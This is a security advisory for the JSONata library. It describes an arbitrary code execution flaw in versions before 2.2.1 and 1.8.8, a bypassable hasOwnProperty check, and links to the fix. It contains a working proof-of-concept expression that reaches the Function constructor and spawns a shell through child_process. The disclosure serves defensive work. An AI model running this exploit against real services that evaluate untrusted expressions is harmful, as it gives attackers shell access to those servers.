GHSA-2943-5xfg-gq5f
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with
crafted expressions, due to a bypassable `hasOwnProperty` check in
`environment.lookup`
https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871
This was fixed in https://github.com/jsonata-js/jsonata/pull/799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.
## PoC
```js
import jsonata from "jsonata";
const expression = jsonata(`
(
$hasOwnProperty := $spread($string);
$__proto__ := $constructor;
$constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);
await expression.evaluate({});
```
References
External links from the advisory. They lead to third-party sites.
- https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f
- https://github.com/jsonata-js/jsonata/pull/799
- https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2
- https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de
- https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159
- https://github.com/jsonata-js/jsonata
- https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8
- https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1